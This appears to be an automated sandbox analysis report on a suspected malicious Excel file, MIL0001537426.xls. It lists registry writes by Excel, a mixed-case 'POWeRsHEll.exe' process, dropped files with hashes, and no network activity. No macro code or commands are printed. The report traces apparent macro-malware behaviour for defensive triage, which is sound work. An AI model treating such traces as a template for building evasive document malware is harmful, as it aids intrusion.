04000000480B00002800000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C004D0049004C0030003000300031003500330037003400320036002E0078006C007300000000001700000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C0001000000010000005EA7BD767268D501C98C1500C98C150000000000B80200006E0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Place MRU
Max Display
25
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Place MRU
Item 1
[F00000000][T01D5687279BD57B0][O00000000]*C:\Users\admin\Desktop\
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\File MRU
Max Display
25
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\File MRU
Item 1
[F00000000][T01D5687279C6CD90][O00000000]*C:\Users\admin\Desktop\MIL0001537426.xls
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\TypeLib\{437ABF72-952A-4E74-AD4B-73CA956428F3}\2.0
Microsoft Forms 2.0 Object Library
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\TypeLib\{437ABF72-952A-4E74-AD4B-73CA956428F3}\2.0\FLAGS
6
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\TypeLib\{437ABF72-952A-4E74-AD4B-73CA956428F3}\2.0\0\win32
C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\TypeLib\{437ABF72-952A-4E74-AD4B-73CA956428F3}\2.0\HELPDIR
C:\Users\admin\AppData\Local\Temp\VBE
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}
Font
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}
Font
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}
IDataAutoWrapper
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}
IDataAutoWrapper
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}
IReturnInteger
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}
IReturnInteger
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}
IReturnBoolean
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}
IReturnBoolean
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}
IReturnString
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}
IReturnString
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}
IReturnSingle
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}
IReturnSingle
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}
IReturnEffect
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}
IReturnEffect
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}
IControl
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}
IControl
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}
Controls
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}
Controls
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}
IOptionFrame
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}
IOptionFrame
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}
_UserForm
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}
_UserForm
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}
ControlEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}
ControlEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}
FormEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}
FormEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}
OptionFrameEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}
OptionFrameEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}
ILabelControl
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}
ILabelControl
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}
ICommandButton
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}
ICommandButton
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}
IMdcText
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}
IMdcText
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}
IMdcList
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}
IMdcList
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}
IMdcCombo
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}
IMdcCombo
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}
IMdcCheckBox
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}
IMdcCheckBox
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}
IMdcOptionButton
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}
IMdcOptionButton
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}
IMdcToggleButton
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}
IMdcToggleButton
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}
IScrollbar
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}
IScrollbar
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}
Tab
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}
Tab
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}
Tabs
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}
Tabs
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}
ITabStrip
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}
ITabStrip
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}
ISpinbutton
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}
ISpinbutton
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{4C599243-6926-101B-9992-00000B65C6F9}
IImage
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}
IImage
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLSubmitButton
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLSubmitButton
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLImage
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLImage
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLReset
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLReset
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLCheckbox
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLCheckbox
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLOption
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLOption
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLText
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLText
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLHidden
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLHidden
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLPassword
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLPassword
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLSelect
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLSelect
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLTextArea
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}
IWHTMLTextArea
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}
LabelControlEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}
LabelControlEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}
CommandButtonEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}
CommandButtonEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}
MdcTextEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}
MdcTextEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}
MdcListEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}
MdcListEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}
MdcComboEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}
MdcComboEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}
MdcCheckBoxEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}
MdcCheckBoxEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}
MdcOptionButtonEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}
MdcOptionButtonEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}
MdcToggleButtonEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}
MdcToggleButtonEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}
ScrollbarEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}
ScrollbarEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}
TabStripEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}
TabStripEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}
SpinbuttonEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}
SpinbuttonEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}
ImageEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}
ImageEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}
WHTMLControlEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}
WHTMLControlEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents1
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents1
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents2
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents2
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents3
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents3
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents4
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents4
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents5
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents5
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents6
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents6
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents7
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents7
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents9
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents9
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents10
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}
WHTMLControlEvents10
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}
IPage
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}
IPage
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}
Pages
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}
Pages
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}
IMultiPage
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}
IMultiPage
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}
MultiPageEvents
2888
EXCEL.EXE
write
HKEY_CLASSES_ROOT\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}
MultiPageEvents
2888
EXCEL.EXE
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109E60090400100000000F01FEC\Usage
ProductNonBootFilesIntl_1033
1328218118
2888
EXCEL.EXE
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109E60090400100000000F01FEC\Usage
ProductNonBootFilesIntl_1033
1328218119
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\Licensing
8B1BF0B4A1CA4656AA46D11C50BC55A4
01000000270000007B39303134303030302D303033442D303030302D313030302D3030303030303046463143457D005A0000004F00660066006900630065002000310034002C0020004F0066006600690063006500500072006F00660065007300730069006F006E0061006C002D00520065007400610069006C002000650064006900740069006F006E000000
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\IMEMIP\0x0410
Input
Plain,Dotted,AppText,AppWindow,AppText
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\IMEMIP\0x0410
TargetConverted
Plain,Single,White,DkBlue,DkBlue
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\IMEMIP\0x0410
Converted
Plain,Dotted,AppText,AppWindow,AppText
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\IMEMIP\0x0410
TargetNotConverted
Plain,Single,DkBlue,AppWindow,AppText
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\IMEMIP\0x0410
InputError
Plain,Thick,AppText,AppWindow,Red
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\IMEMIP\0x0410
FixedConverted
Plain,AppText,AppWindow,AppText
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security\Trusted Documents
LastPurgeTime
26136449
1896
POWeRsHEll.exe
write
HKEY_CLASSES_ROOT\Local Settings\MuiCache\73\52C64B7E
LanguageList
en-US

Files activity

Executable files
0
Suspicious files
2
Text files
2
Unknown types
3

Dropped files

PID
Process
Filename
Type
1896
POWeRsHEll.exe
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
binary
MD5: 4c55fb736b5823d4c1f277be226111d3
SHA256: a7471f464e931aad365e5a751019f5f21931417f3dcd221adc662ed7215eee5b
1896
POWeRsHEll.exe
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF166517.TMP
binary
MD5: 4c55fb736b5823d4c1f277be226111d3
SHA256: a7471f464e931aad365e5a751019f5f21931417f3dcd221adc662ed7215eee5b
1896
POWeRsHEll.exe
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\V8JVL504Z9IK6LHXLAO0.temp
––
MD5:  ––
SHA256:  ––
2888
EXCEL.EXE
C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat
text
MD5: 4a7fe26f9c6b204ac525a95d5c44bd20
SHA256: 67a395e0fc347ac1efa98303c86632c6466935abe782c68d3dcbd2530dc1f338
2888
EXCEL.EXE
C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\MIL0001537426.xls.LNK
lnk
MD5: 3c3f811bcbb557cdc16998957af753f3
SHA256: ce62b440822b1af77fedaa2717995ad40ad5c79b1d119b964377489415667ff6
2888
EXCEL.EXE
C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd
tlb
MD5: 52c142c1e56729279eb4555aeb127b0c
SHA256: 8e0ae0b18c58be601010e1694966635aa0deac7fc222c9475da3d6b18dc93a68
2888
EXCEL.EXE
C:\Users\admin\AppData\Local\Temp\CVR7C7D.tmp.cvr
––
MD5:  ––
SHA256:  ––

Find more information of the staic content and download it at the full report

Network activity

HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
0
Threats
0

No network activity.

Debug output strings

No debug info.